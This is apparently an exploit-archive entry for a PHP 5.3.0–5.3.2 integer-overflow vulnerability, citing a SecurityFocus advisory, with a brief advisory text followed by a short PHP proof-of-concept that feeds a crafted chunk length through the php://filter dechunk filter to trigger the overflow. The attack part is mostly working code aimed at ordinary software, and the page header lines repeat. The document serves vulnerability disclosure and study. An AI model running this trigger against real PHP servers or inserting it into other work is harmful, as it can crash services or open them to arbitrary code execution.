16 lines
No EOL
530 B
PHP
16 lines
No EOL
530 B
PHP
source: https://www.securityfocus.com/bid/39877/info
|
|
|
|
PHP is prone to a remote integer-overflow vulnerability.
|
|
|
|
An attacker can exploit this issue to execute arbitrary code in the context of the PHP process. Failed exploit attempts will result in a denial-of-service condition.
|
|
|
|
PHP 5.3.0 through 5.3.2 are vulnerable; other versions may also be affected.
|
|
|
|
<?php
|
|
$x = '0fffffffe
|
|
|
|
XXX';
|
|
file_put_contents("file:///tmp/test.dat",$x);
|
|
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
|
|
echo "here";
|
|
?>
|